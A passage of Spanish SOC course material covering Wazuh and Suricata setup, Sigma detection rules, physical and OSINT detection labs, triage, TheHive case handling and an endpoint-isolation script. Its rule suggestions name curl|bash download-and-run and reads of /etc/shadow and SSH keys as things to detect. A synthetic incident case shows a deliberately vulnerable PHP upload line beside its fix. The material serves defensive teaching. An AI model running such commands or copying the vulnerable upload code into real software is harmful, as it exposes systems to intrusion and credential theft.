5. **Telemetría de endpoint en Linux**: comprueba que el manager recibe eventos de creación de proceso (auditd/execve o Sysmon-for-Linux). Sin esto, muchas reglas nunca dispararán.
6. **Suricata (NIDS)**: comprueba que genera `eve.json` y que Wazuh lo ingiere. Genera algo de tráfico contra un objetivo de laboratorio y localiza el evento en el panel.
7. **CHECKPOINT obligatorio**: dispara **una** alerta de verdad y encuéntrala en el panel. `bash # en la máquina Linux con agente, dentro de la VLAN: sudo bash generar-actividad.sh reverse` Debe aparecer una alerta de "reverse shell candidata" en *Threat Hunting*. Captura la pantalla.

Qué entregar (`NN-IC-E4-arquitectura.md`)

- El **catálogo de taxonomía** (Parte A) y la **matriz de fuentes** rellena.
- Evidencia de despliegue: salida de `docker compose ps`, captura de los **agentes Active**.
- **Prueba de telemetría**: la captura de la alerta del CHECKPOINT (paso 11), con la marca de tiempo. Esto es lo que demuestra que el SOC *ve* de verdad.
- Tus **puntos ciegos** iniciales (pregunta 4 y paso 10 fallido si lo hubo).

> R1 valora especialmente la **verificación del resultado** (20 %): no vale "desplegado", vale "desplegado y **comprobado** con un evento real que llega al panel".

Ficha IC-E5 · Reglas Sigma propias y mapa de cobertura (para el alumnado)

- **Evidencia**: IC-E5 · **RA2.b** · Instrumento I3 · Rúbrica **R3** (reto integrado).
- **Entrega**: `reglas/*.yml` (tus reglas) + `NN-IC-E5-cobertura.md` (informe + capa ATT&CK).
- **Requisito previo**: IC-E4 desplegado y con telemetría de proceso verificada.
- **Todo en la VLAN aislada de xest.**

> Consigna central: **una regla que no se ha disparado con un evento real no está validada.** Cada regla que escribas la validarás generando la actividad que debe detectar.

Parte A — Escribe DOS reglas Sigma propias (nuevas)

Parte de los 5 ejemplos base en `~/xest-lab/2026-2027/SOC/plataforma/sigma/` **sin copiarlos**. Elige dos técnicas ATT&CK que hoy sean punto ciego y escribe una regla para cada una. Sugerencias (elige 2, o propón las tuyas justificándolo):

1. **Descarga y ejecución en una línea** — `curl|bash` / `wget|sh` (T1105 + T1059.004).
2. **Lectura de ficheros de credenciales** — `/etc/shadow`, `~/.ssh/id_rsa` (T1003.008/T1552).
3. **Fuerza bruta SSH** — N fallos de login del mismo origen en poco tiempo (T1110).
4. **Minería de cripto** — proceso con CPU sostenida al 100 % + dominio de pool (T1496).

Cada regla debe tener, como mínimo: `title`, `id` (UUID nuevo), `logsource`, `detection` con al menos un `condition`, `tags` ATT&CK, `falsepositives` **realistas** y `level`.

Parte B — Convierte las reglas al lenguaje del SIEM

```
cd ~/xest-lab/2026-2027/SOC/plataforma/sigma
./convertir.sh tu_regla.yml > /tmp/tu_regla.xml
cat /tmp/tu_regla.xml
```

Copia la regla resultante a `local_rules.xml` del manager y recarga:

```
docker compose exec wazuh.manager /var/ossec/bin/wazuh-control reload
# si tu versión no aplica reload en caliente:
docker compose restart wazuh.manager
```

Parte C — Valida cada regla con un evento REAL

En la máquina Linux de laboratorio con agente, dentro de la VLAN:

```
sudo bash generar-actividad.sh download   # dispara la regla curl|bash
sudo bash generar-actividad.sh            # dispara las cuatro técnicas
```

Localiza **cada** alerta en el panel de Wazuh. Anota: regla, marca de tiempo, campo que hizo match. Si una regla **no** dispara con su evento, corrígela: casi siempre falta el campo en la fuente o el `logsource` no coincide. Repite hasta que dispare.

Al terminar, limpia el entorno:

```
sudo bash generar-actividad.sh --limpiar
```

Parte D — Mapa de cobertura ATT&CK

1. Abre **MITRE ATT&CK Navigator** (`https://mitre-attack.github.io/attack-navigator/`).
2. Marca en **verde** las técnicas que el SOC detecta con reglas **validadas** (las 5 base + tus 2 nuevas), y en **rojo** los **puntos ciegos** que has identificado.
3. Exporta la capa como JSON y adjúntala.

Qué entregar (`NN-IC-E5-cobertura.md` + `reglas/*.yml` + capa JSON)

- Tus **2 reglas Sigma** (`reglas/`), con la justificación de la técnica elegida.
- **Evidencia de validación**: por cada regla, la captura de la alerta disparada con `generar-actividad.sh` y el campo que hizo match. Sin esto, la regla no cuenta como validada.
- La **capa ATT&CK Navigator** (JSON) con verde = cubierto, rojo = punto ciego.
- Los **puntos ciegos priorizados**: cuál cerrarías primero y por qué (impacto × probabilidad).

> R3 valora **automatización y repetibilidad** (20 %) y **verificación**: tu entrega debe poder repetirse desde cero con `convertir.sh` + `generar-actividad.sh`. Y valora la **integración** (25 %): tus puntos ciegos alimentan el triaje de UT5 y la investigación de UT6.

IC · UT4 — Detección de incidentes de seguridad física e inteligencia de fuentes abiertas

8 horas · RA2 (c, d) · Servicio SOC: Detección — vigilancia y alerta temprana · Evidencias `IC-E6`, `IC-E7`

Qué vamos a conseguir

Incorporar fuentes físicas y abiertas al proceso de detección.

Antes de empezar

Herramientas: Logs sintéticos, Python/jq y Wazuh; capturas OSINT locales.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Lee L1-deteccion-fisica.md e inventaría sensores, activos y situaciones relevantes.
2. Reproduce el mensaje de laboratorio y comprueba campos extraídos antes de escribir la regla.
3. Valida una alarma y una situación legítima para reducir ruido.
4. Lee L2-osint-dominio.md y analiza las capturas proporcionadas con fecha y procedencia.
5. Contrasta cada supuesto indicador; distingue activo de la organización, homónimo y dato antiguo.
6. Completa las plantillas IC-E6 e IC-E7 indicando acción, responsable y criterio de cierre.

Cómo comprobar que está hecho

Campos bien interpretados; alertas contrastadas; indicadores con contexto.

> Una mención de marca o coincidencia de dominio no es por sí sola evidencia de compromiso.

Desarrollo y fichas

- Explicación completa de la unidad.
- L1-deteccion-fisica
- L2-osint-dominio
- IC-E6-ruta-de-alerta
- IC-E7-registro-osint

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT4 — Detección de incidentes de seguridad física e inteligencia de fuentes abiertas

8 horas · RA2 (c, d) · Servicio SOC: Detección — vigilancia y alerta temprana · Evidencias `IC-E6`, `IC-E7`

---

1. Objetivo de la unidad

No todos los incidentes empiezan en la red. Esta unidad cubre dos fuentes de alerta que el SIEM clásico no ve: la **seguridad física** (con impacto lógico) y la **inteligencia de fuentes abiertas** (OSINT) como alerta temprana de exposición y filtración.

2. Contenido

2.1 Detección de incidentes físicos (RA2.c)

- Telemetría física integrable en el SIEM: control de accesos, CCTV, sensores ambientales.
- Incidentes físicos con impacto lógico: sustracción de equipo, acceso a rack, *tailgating*, USB no autorizado.
- Ruta de alerta: del control físico al SOC.

2.2 OSINT como alerta temprana (RA2.d)

- Filtraciones de credenciales (HIBP, foros, canales).
- Exposición de activos (certificados, subdominios, puertos indexados).
- Typosquatting: dominios parecidos registrados para phishing.
- Menciones de la organización en foros y darknets.

2.3 Higiene de la investigación OSINT (RA2.d)

- Legalidad y proporcionalidad: solo fuentes abiertas, sin acceso no autorizado.
- Trazabilidad: cada hallazgo con su fuente y fecha.
- **Verificación con segunda fuente** antes de elevar a alerta: un dato sin contrastar es un rumor, no una alerta.

3. Laboratorio guiado

Parte A — Detección física integrada (RA2.c)

1. Diseña el inventario de controles físicos de xest (accesos, CCTV, sensores) y define su **ruta de alerta** hacia el SOC: qué evento físico genera qué alerta lógica.

Parte B — Vigilancia OSINT del dominio (RA2.d)

```
# Subdominios y certificados
curl -s "https://crt.sh/?q=%25.xest.local&output=json" | jq -r '.[].name_value' | sort -u
# Credenciales expuestas (comprobación por dominio)
# Consulta a HIBP u equivalente autorizado
# Dominios similares (typosquatting)
dnstwist xest.local
```

1. Vigila el dominio de xest: certificados, subdominios, credenciales expuestas, dominios similares. **Contrasta cada hallazgo con una segunda fuente** antes de elevarlo.

Parte C — Descarte justificado

1. Para cada hallazgo, decide si es alerta o falso positivo y **justifica el descarte**. Un descarte sin argumento cuenta como error.

4. Entregables

- **`IC-E6`** (informe, rúbrica R2): procedimiento de detección física integrado en el SOC.
- **`IC-E7`** (reto integrado, rúbrica R3): informe de vigilancia OSINT con hallazgos verificados y descartados, y la justificación de cada descarte.

5. Criterios de superación

- El procedimiento físico conecta el evento físico con la alerta en el SOC.
- Cada hallazgo OSINT está contrastado con segunda fuente antes de elevarse.
- Los descartes están justificados.

6. Ética y legalidad

OSINT solo sobre fuentes abiertas y de forma proporcionada. No se accede a sistemas ni a cuentas; no se explota nada. La investigación se documenta con trazabilidad de la fuente.

7. Referencias

- CCN-STIC 896 — vigilancia y alerta.
- crt.sh, dnstwist, HIBP.
- CCN-STIC 817 — clasificación de incidentes.

Laboratorio L1 · Detección física integrada en el SOC (IC · UT4, Sesión 1)

> Ficha del alumnado. Trabajas sobre `datos/` de esta carpeta y sobre la plataforma SOC (`~/xest-lab/2026-2027/SOC/plataforma/`). Todo ocurre en la **VLAN aislada del aula**. Al terminar habrás producido el borrador de **IC-E6**.

Objetivo

Conectar la seguridad física con el SOC: que un **evento físico** (rack abierto, USB, tailgating) se convierta en una **alerta lógica** con regla, nivel y prioridad. Un control físico que no llega al SOC es un punto ciego.

Materiales

- `datos/eventos-fisicos.log` — 11 eventos del PACS de xest (control de accesos, CCTV, USB).
- `datos/inventario-controles-fisicos.csv` — inventario parcial de controles (hay filas por completar).
- `wazuh/local_decoder-fisica.xml` y `wazuh/local_rules-fisica.xml` — decoder y reglas.
- `probar-reglas.sh` — banco de pruebas offline si no tienes Wazuh a mano.

- Plantilla del entregable: `plantillas/IC-E6-ruta-de-alerta.md`.

Parte A · Leer los eventos físicos (10 min)

1. Mira el formato del log: `head -3 datos/eventos-fisicos.log`. Identifica los campos `event`, `zone`, `asset`, `actor`, `result`, `out_of_hours`.
2. Cuenta cuántos eventos hay de cada tipo: `bash grep -oP 'event=\K\S+' datos/eventos-fisicos.log | sort | uniq -c | sort -rn`
3. **Pregunta**: ¿cuáles de esos eventos deberían generar una alerta y cuáles son actividad normal? Anótalo antes de seguir.

Parte B · Instalar decoder + reglas y probar (25 min)

Opción 1 — con Wazuh levantado (SOC/plataforma):

```
# copiar decoder y reglas al manager
sudo cat wazuh/local_decoder-fisica.xml >> /var/ossec/etc/decoders/local_decoder.xml
sudo cat wazuh/local_rules-fisica.xml   >> /var/ossec/etc/rules/local_rules.xml
sudo /var/ossec/bin/wazuh-control restart
# probar una línea con el banco de pruebas de Wazuh
sudo /var/ossec/bin/wazuh-logtest
# pega:  Nov 04 22:14:05 pacs01 xestpacs: event=rack_open zone=cpd asset=rackA actor=UNKNOWN
result=unknown out_of_hours=yes
```

Opción 2 — sin Wazuh (banco de pruebas offline):

```
bash probar-reglas.sh datos/eventos-fisicos.log
```

Anota, para cada alerta que dispara: **regla (id), nivel y por qué**.

Parte C · Completar el inventario y la ruta de alerta (35 min)

Abre `datos/inventario-controles-fisicos.csv`. Cuatro controles tienen `integrado_soc = NO` y sin evento/alerta. Decide, para cada uno, si debe integrarse y con qué evento y alerta. Rellena la plantilla `plantillas/IC-E6-ruta-de-alerta.md`:

- Tabla de inventario completa (10 filas).
- Tabla de **ruta de alerta**: evento físico → control → regla SOC → alerta lógica (nivel) → prioridad.
- Sección de **puntos ciegos** declarados.

Entrega

El borrador de `NN-IC-E6-fisica.md` a partir de la plantilla, con la salida de verificación pegada (Parte B). Se termina y pule como IC-E6 (rúbrica R2).

Reglas del aula

Nada de esto se ejecuta contra la red del centro ni contra Internet: solo la VLAN aislada. Los datos del PACS son sintéticos; no hay personas reales.

Laboratorio L2 · Vigilancia OSINT del dominio (IC · UT4, Sesión 2)

> Ficha del alumnado. Objeto de la vigilancia: la **organización** xest y su exposición, **no personas** (política de aula: `../../comun/legal/osint-aula-politica.md`). Al terminar habrás producido el borrador de **IC-E7**. Un dato sin contrastar es un rumor, no una alerta.

Objetivo

Vigilar cuatro superficies de exposición de `xest.local`, **contrastar cada hallazgo con una segunda fuente** y cerrar cada uno con un veredicto: `ALERTA` o `DESCARTADO` (justificado).

Materiales (capturas sintéticas, laboratorio offline)

- `datos/crt.sh-xest.local.json` — export tipo crt.sh (certificados/subdominios).
- `datos/dnstwist-xest.local.json` — export tipo dnstwist (dominios parecidos).
- `datos/filtracion-credenciales-xest.csv` — combolist/breach con credenciales.
- `datos/menciones-foros.txt` — menciones en foros, pastes y canales.
- Plantilla del entregable: `plantillas/IC-E7-registro-osint.md`.

> Nota: `crt.sh`, HIBP y `dnstwist` son servicios de Internet. La VLAN del aula está aislada, así que trabajamos sobre **estas capturas sintéticas**. Si la política del aula autoriza salida puntual, el profesor mostrará las herramientas reales contra un dominio propio; el ejercicio evaluable usa los ficheros de `datos/`.

Parte A · Certificados y subdominios (20 min)

```
# subdominios únicos publicados en Certificate Transparency
jq -r '.[].name_value' datos/crt.sh-xest.local.json | sort -u
# ¿cuáles están cubiertos por un certificado VIGENTE a día de hoy?
jq -r --arg hoy "2026-11-09" '.[] | select(.not_after >= $hoy) | .common_name' \
  datos/crt.sh-xest.local.json | sort -u
```

Preguntas: ¿qué subdominios NO deberían estar expuestos? ¿alguno es un resto antiguo?

Parte B · Typosquatting (15 min)

```
# dominios parecidos que están REGISTRADOS (tienen registro A), excluyendo el original
jq -r '.[] | select(.dns_a != null and .fuzzer != "original") | .domain' \
  datos/dnstwist-xest.local.json
```

Un dominio parecido registrado **no es phishing** hasta confirmar que aloja una copia del portal. Ese es el paso de la Parte D.

Parte C · Credenciales y menciones (20 min)

```
# credenciales del dominio corporativo (¡ojo con el ruido de otros dominios!)
grep -i '@xest.local' datos/filtracion-credenciales-xest.csv
# menciones: primero ingenuo (substring), luego con límite de palabra
grep -ic 'xest' datos/menciones-foros.txt
grep -iwE 'xest' datos/menciones-foros.txt | grep -v '^#'
```

Pregunta clave: ¿por qué el primer `grep` da más resultados? ¿cuáles son falsos positivos?

Parte D · Contrastar y cerrar cada hallazgo (25 min)

Por cada hallazgo, aplica **segunda fuente** antes de elevar:

- Un subdominio: ¿resuelve todavía? `dig +short old-portal.xest.local @<DNS-lab>` (o `getent hosts`). Si no resuelve → candidato a descarte.
- Un typo: ¿aloja el clon del portal? Comprueba el contenido, no solo el 200: `bash curl -s http://xest-soc.local/ | grep -i 'portal soc' # HTTP 200 != existe el clon`
- Una credencial: ¿el email corresponde a un empleado **actual**? Contrasta con el inventario/directorio. Una cuenta dada de baja se trata distinto (deshabilitar, no rotar).
- Una mención: ¿habla de xest o de otra marca homónima?

Rellena `plantillas/IC-E7-registro-osint.md`: una fila por hallazgo con fuente+fecha, segunda fuente, **veredicto** y justificación. El anexo de descartes es obligatorio.

Entrega

Borrador de `NN-IC-E7-osint.md`. Se pule como IC-E7 (rúbrica R1). Recuerda: un cierre en blanco (hallazgo sin veredicto) cuenta como error, igual que una alerta falsa.

IC-E6 · Detección física integrada — plantilla del entregable

> Rellena esta plantilla. Es el núcleo de `NN-IC-E6-fisica.md`. Rúbrica **R2** (`~/xest-lab/2026-2027/docs/planificacion/rubricas.md`). El criterio clave: cada **evento físico** debe conectar con una **alerta lógica** en el SOC, con su regla y su prioridad. Un control físico que no llega al SOC es un punto ciego, no una defensa.

1. Alcance e inventario de controles

Parte del inventario `datos/inventario-controles-fisicos.csv`. Complétalo: hay controles con la columna `integrado_soc = NO` y sin evento/alerta definidos. Tu trabajo es decidir cuáles deben integrarse y con qué evento y alerta.

Control	Zona	Tipo	Telemetría	Integrado SOC	Evento físico	Alerta lógica
(copia y completa las 10 filas del CSV)						

2. Ruta de alerta (evento físico → alerta en el SOC)

Por cada evento relevante, la cadena completa:

Evento físico	Control que lo capta	Telemetría / formato	Regla SOC (id)	Alerta lógica (nivel)	Prioridad (Crit×Alc×Conf)	Acción del analista
Apertura de rack fuera de horario	Sensor rackA	syslog key=value	100201	Apertura rack CPD fuera de horario (10)		
(añade una fila por evento)						

> Prioridad = Criticidad × Alcance × Confianza (1-3 cada factor), como la matriz de UT5 (`~/xest-lab/2026-2027/IC/material/plantillas/matriz-triaje.md`).

3. Puntos ciegos declarados

Controles que **no** se integran (y por qué es aceptable) o que faltan por instalar. Un punto ciego reconocido y justificado es rigor; uno oculto es un fallo.

4. Verificación

Demuestra que la cadena funciona: pega la salida de `wazuh-logtest` (o del laboratorio sin Wazuh, el script `probar-reglas.sh`) para **al menos** el evento crítico de rack y el de tailgating, mostrando la regla que dispara y su nivel.

IC-E7 · Vigilancia OSINT del dominio — plantilla del entregable

> Rellena esta plantilla. Es el núcleo de `NN-IC-E7-osint.md`. Rúbrica **R1** (`~/xest-lab/2026-2027/docs/planificacion/rubricas.md`). Objeto de la vigilancia: la **organización** xest y su exposición, **no personas** (política de aula: `../../comun/legal/osint-aula-politica.md`). Reglas de oro del entregable:
>
> - Cada hallazgo lleva **fuente + fecha**.
> - Cada hallazgo se **contrasta con una segunda fuente** antes de elevarse a alerta.
> - Todo hallazgo termina en un **veredicto**: `ALERTA` o `DESCARTADO`, y el descartado lleva **justificación**. Un cierre en blanco cuenta como error (igual que una alerta falsa).

Registro de hallazgos

#	Superficie	Hallazgo	Fuente 1 (fecha)	Segunda fuente / verificación (fecha)	Veredicto	Justificación / prioridad
1	Subdominios/ certificados				ALERTA / DESCARTADO	
2	Credenciales expuestas					
3	Typosquatting					
4	Menciones (foros/pastes)					
…						

Superficies a cubrir (todas): certificados y subdominios (`crt.sh`), credenciales expuestas (HIBP / combolist), dominios similares (`dnstwist`), menciones en foros y pastes.

Resumen ejecutivo (3-5 líneas)

Para dirección: cuántos hallazgos, cuántos elevados a alerta, el más grave y la acción recomendada. Sin jerga.

Anexo de descartes

Lista de lo descartado con la razón concreta (subdominio que ya no resuelve, homónimo sin relación, mención de otra marca). Este anexo es lo que separa un informe profesional de un volcado de herramienta.

IC · UT5 — Triaje: clasificación, valoración, seguimiento y contención inicial

8 horas · RA2 (e) · RA3 (e) · Servicio SOC: Detección — gestión de alertas · Respuesta — contención · Evidencias `IC-E8`, `IC-E9`

Qué vamos a conseguir

Priorizar alertas y contener conservando capacidad de investigar.

Antes de empezar

Herramientas: Cola de alertas, matriz de triaje, TheHive y procedimientos locales.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Trabaja ficha-triaje.md con la cola de alertas; fija criticidad, alcance y confianza por separado.
2. Agrupa eventos relacionados sin convertir toda coincidencia en causalidad.
3. Abre un caso con ficha-caso-thehive.md: responsable, cronología, tareas, observables y permisos.
4. Selecciona una medida de contención con efecto previsto, impacto al servicio y reversión.
5. Ejecuta ficha-contencion.md en el laboratorio y comprueba tanto el bloqueo como la preservación de la evidencia.
6. Transfiere el caso a investigación con preguntas pendientes. Si TheHive no está disponible, usa la ficha como práctica documental y declara pendiente la operación de la plataforma.

Cómo comprobar que está hecho

Prioridad justificada; contención comprobada; caso con siguiente responsable.

> Contener limita el daño; erradicar elimina la causa y los mecanismos de permanencia.

Desarrollo y fichas

- Explicación completa de la unidad.
- active-response-aislar
- caso-incidente-he
- ficha-caso-thehive
- ficha-contencion
- ficha-triaje

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT5 — Triaje: clasificación, valoración, seguimiento y contención inicial

8 horas · RA2 (e) · RA3 (e) · Servicio SOC: Detección — gestión de alertas · Respuesta — contención · Evidencias `IC-E8`, `IC-E9`

---

1. Objetivo de la unidad

El SOC recibe más alertas de las que puede investigar a fondo. El triaje decide qué merece atención, en qué orden y con qué primera respuesta. Esta unidad practica el triaje sobre una cola real, con gestión de caso en TheHive y contención inicial. **Requiere la arquitectura de detección de la UT3 emitiendo alertas.**

2. Contenido

2.1 Cola de alertas y niveles (RA2.e)

- Flujo L1 → L2 → L3: L1 clasifica y descarta ruido; L2 investiga; L3 casos complejos.
- Criterios de priorización: criticidad del activo, alcance, confianza en la detección.

2.2 Valoración (RA2.e)

Por cada alerta: ¿es falso positivo? ¿qué activo afecta? ¿qué alcance? ¿qué confianza tiene la detección? De ahí sale la prioridad.

2.3 Gestión del caso (RA2.e)

En **TheHive**: observables, tareas, TLP (semáforo de difusión) y trazabilidad temporal. **Cortex** enriquece los observables (reputación de IP, hash, dominio).

2.4 Contención inicial (RA3.e)

Primeras medidas para limitar el daño **sin destruir evidencia**: aislamiento de host, bloqueo de indicador (IP/dominio C2), revocación de sesión o credencial.

3. Laboratorio guiado

Parte A — Triaje cronometrado (RA2.e)

1. Se presenta una **cola de 20 alertas** mezcladas con falsos positivos. Clasifícalas por prioridad **con reloj**. Justifica por escrito cada cierre por falso positivo (un cierre en blanco es error).

Parte B — Gestión del caso en TheHive (RA2.e)

```
# TheHive + Cortex desplegados en SOC/plataforma
# Abrir caso, añadir observables, lanzar analizadores de Cortex, registrar tareas y timeline
```

1. Abre y documenta un caso completo en TheHive, con observables enriquecidos por Cortex y línea de tiempo.

Parte C — Contención inicial (RA3.e)

1. Ejecuta una contención desde el SIEM/XDR (aísla un endpoint, bloquea un indicador) **preservando la evidencia** para el análisis posterior.

4. Entregables

- **`IC-E8`** (informe, rúbrica R2): procedimiento de triaje y matriz de priorización de xest.
- **`IC-E9`** (reto integrado, rúbrica R3): caso en TheHive completo con contención inicial documentada.

5. Criterios de superación

- El triaje prioriza con criterio (activo, alcance, confianza), no por orden de llegada.
- Cada falso positivo está justificado por escrito.
- La contención limita el daño sin contaminar la evidencia.

6. Errores frecuentes

- Cerrar alertas como falso positivo sin justificar: se pierde la trazabilidad y se repiten errores.
- Contener destruyendo la evidencia (apagar el equipo en vez de aislarlo) y dejar sin materia al forense.

7. Referencias

- NIST SP 800-61 rev. 2 — detección y análisis.
- TheHive + Cortex — documentación.
- Matriz de priorización: ver plantilla en `IC/material/plantillas/matriz-triaje.md`.

Respuesta activa de Wazuh — aislar endpoint y bloquear C2

Configuración de referencia para disparar la contención **desde el SOC**. Se despliega en el manager de Wazuh de `~/xest-lab/2026-2027/SOC/plataforma/`. Uso didáctico, VLAN aislada.

1. `firewall-drop` sobre la IP del C2 (incluido en Wazuh)

En `ossec.conf` del manager, asocia la respuesta activa `firewall-drop` a la regla que dispara la baliza C2 (la de la alerta A07). Bloquea el indicador en el agente durante un tiempo:

```
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_id>100207</rules_id>   <!-- regla local del beacon a 185.220.101.47 -->
  <timeout>0</timeout>          <!-- 0 = permanente hasta revisión manual -->
</active-response>
```

2. Script de aislamiento (deja solo el canal con el SOC)

Crea `/var/ossec/active-response/bin/aislar-host.sh` en el agente (o despliégalo con la config del manager). Aísla el endpoint salvo la comunicación con el manager Wazuh:

```
#!/bin/sh
# aislar-host.sh — respuesta activa: aísla el endpoint sin apagarlo.
# Wazuh pasa "add"/"delete" en $1 para aplicar o revertir.
SOC="10.10.10.20"
ACTION="$1"
if [ "$ACTION" = "add" ]; then
    iptables -P INPUT DROP
    iptables -P OUTPUT DROP
    iptables -A OUTPUT -d "$SOC" -p tcp --dport 1514 -j ACCEPT
    iptables -A INPUT  -s "$SOC" -j ACCEPT
    logger "IR: host AISLADO (solo SOC $SOC) por respuesta activa Wazuh"
elif [ "$ACTION" = "delete" ]; then
    iptables -F; iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT
    logger "IR: aislamiento REVERTIDO"
fi
exit 0
```

Registro en `ossec.conf`:

```
<command>
  <name>aislar-host</name>
  <executable>aislar-host.sh</executable>
  <expect></expect>
</command>
<active-response>
  <command>aislar-host</command>
  <location>local</location>
  <rules_id>100205</rules_id>   <!-- regla local del webshell/compromiso confirmado -->
  <timeout>0</timeout>
</active-response>
```

3. Verificación de que la respuesta se ejecutó (no basta con que exista)

```
# En el manager: la respuesta activa debe aparecer en el log
tail -n 20 /var/ossec/logs/active-responses.log
# En el endpoint: aislado pero reportando
systemctl is-active wazuh-agent       # active
ping -c1 -W2 8.8.8.8; echo "rc=$?"    # rc=1 (sin salida general)
```

> Gate instalado ≠ gate activo: comprueba **siempre** con un caso que debe fallar (el `ping` que ya no sale). Una respuesta activa "configurada" que nunca se dispara es un aislamiento que no existe.

Caso base — Compromiso de portal-soc.xest.local (procedente de HE)

> Este es el **parte de incidente** que llega a la cola del SOC. Reproduce el compromiso que el equipo de Hacking Ético documenta en `HE-E12` (intrusión) y cuyos IoC de persistencia entrega en `HE-E14`. En el aula real, sustituye este fichero por el parte que produzca HE sobre el mismo `xest`. Si HE aún no lo ha entregado, este caso sintético permite dar la sesión de forma autónoma. **Datos ficticios; VLAN aislada.**

1. Resumen ejecutivo (una frase)

Un atacante subió una **webshell** al portal `portal-soc.xest.local` explotando una subida de fichero sin validar, la usó para establecer **mando y control (C2)**, saltó por **fuerza bruta SSH** a la estación de administración `ws-admin`, creó **persistencia** (servicio y cuenta de administrador) y **exfiltró 42 MB** desde el servidor de ficheros hacia el C2.

2. Activos afectados

Activo	IP	Papel	Criticidad
`portal-soc.xest.local`	10.10.10.10	Portal público de xest (cara pública + formularios)	Alta (3)
`srv-files.xest.local`	10.10.10.50	Servidor de ficheros con datos personales	Alta (3)
`ws-admin`	10.10.10.31	Estación de administración (cuenta `jadmin`)	Media (2)
`soc.xest.local`	10.10.10.20	Plataforma SOC (Wazuh/TheHive/Cortex)	Alta (3)
Estación atacante (HE)	10.10.10.100	Origen de la intrusión, en la VLAN de laboratorio	—

3. Línea de tiempo observada (2026-11-18)

Hora	Evento	Fuente	Alerta en la cola
08:12	Intento de subida de fichero al portal	Suricata	A03
08:19	Webshell `status.php` creada en `/var/www/html/uploads/`	Wazuh FIM	A05
08:24	Baliza C2 HTTP del portal a `185.220.101.47`	Suricata	A07
08:31	Resolución DNS del portal a `update-cdn-xest.link`	Wazuh	A09
08:48	Barrido SYN del atacante a varios hosts	Suricata	A11
09:02	Éxito de fuerza bruta SSH sobre `jadmin` en `ws-admin`	Wazuh	A12
09:20	Exfiltración de 42 MB de `srv-files` al C2	Suricata	A15
09:41	Servicio `svc-update.service` creado en `ws-admin`	Wazuh FIM	A18
09:47	Cuenta de administrador local `svc-update` creada	Wazuh	A19

4. Indicadores de compromiso (IoC)

Ver `observables-caso.csv` (formato importable a TheHive). Resumen:

- **C2**: IP `185.220.101.47`, dominio `update-cdn-xest.link`.
- **Webshell**: `/var/www/html/uploads/status.php`
- SHA-256 `d41f8c9a2b7e6350f1a4c8d9b2e5760a3c9f1d2e8b4a6705c3e9f8d1a2b7c604`
- MD5 `7b3e9a1c5d2f8046b1e4c7a0d3f69b2e`
- **Persistencia**: servicio `svc-update.service`, cuenta local `svc-update`, binario SHA-256 `a7c4e91f2d8b6350f9a1c4d7b0e3968a2c5f1d4e7b8a0c3d6f9b2e5a8c1d4f70`.
- **Cuenta comprometida**: `jadmin` (acceso por fuerza bruta).

5. Vector de entrada (raíz, para la contención)

El endpoint de subida del portal aceptaba cualquier extensión y guardaba el fichero **dentro del raíz web ejecutable**. Es el hueco que hay que cerrar para que la reinfección no sea trivial (la corrección completa del código es trabajo de PPS; aquí basta con documentarlo y neutralizar el vector como parte de la contención).

```
// VULNERABLE (lo que había en el portal): guarda cualquier fichero en un dir servido por PHP
move_uploaded_file($_FILES['f']['tmp_name'], "/var/www/html/uploads/".$_FILES['f']['name']);
```

```
// CONTENCIÓN mínima del vector: lista blanca de extensión + directorio NO ejecutable
$permitidas = ['png','jpg','pdf'];
$ext = strtolower(pathinfo($_FILES['f']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $permitidas, true)) { http_response_code(415); exit('Tipo no permitido'); }
$destino = "/var/data/subidas/".bin2hex(random_bytes(16)).".".$ext;  // fuera del raíz web
move_uploaded_file($_FILES['f']['tmp_name'], $destino);
```

6. Qué NO está en el caso (a propósito)

El **análisis forense** de la memoria y el disco de `ws-admin`, la **causa raíz** completa y el **timeline mapeado a ATT&CK** son de la **UT6** (IC-E10, IC-E11). La **erradicación** y la **recuperación** son de la **UT7** (IC-E13). Aquí solo se **tría, se abre el caso y se contiene** sin destruir la evidencia que necesitará el forense.

Ficha del alumnado — Gestión del caso en TheHive (IC-E9, parte 1)

Objetivo: abrir y documentar en **TheHive** el caso del incidente de `portal-soc`, con observables enriquecidos por **Cortex**, tareas, línea de tiempo y **TLP**. Rúbrica R3.

Entrada: `caso-incidente-he.md` (parte del incidente) y `observables-caso.csv` (IoC). **Plataforma**: `~/xest-lab/2026-2027/SOC/plataforma/` (TheHive + Cortex ya desplegados).

Paso 1 — Abrir el caso

TheHive → **New Case**. Rellena: - **Título**: `Compromiso de portal-soc.xest.local — webshell + C2 + exfiltración`. - **Severidad**: alta. **TLP**: AMBER. **PAP**: AMBER. - **Descripción**: pega el resumen ejecutivo del parte (una frase) + los activos afectados.

Paso 2 — Cargar los observables

Añade los observables de `observables-caso.csv` (`Observables → Add`). Marca como **IoC** los que lo sean. Respeta el **TLP por observable** (la webshell y su hash van en RED; el C2 en AMBER). Fíjate en por qué el hash y la IP no llevan el mismo semáforo.

Paso 3 — Enriquecer con Cortex

Lanza los analizadores sobre los observables (`Run analyzers`): - IP `185.220.101.47` → reputación (AbuseIPDB / GreyNoise). - Hash de la webshell → VirusTotal / MISP. - Dominio `update-cdn-xest.link` → reputación / DNS.

> **Aula sin salida a Internet**: los analizadores que consultan servicios externos no resolverán. Usa el analizador **MISP local** contra el conjunto de IoC precargado, o registra el veredicto esperado que te indique el profesor. Lo que se evalúa es que **enriquezcas y registres la fuente**, no que tengas línea a Internet.

Paso 4 — Tareas y línea de tiempo

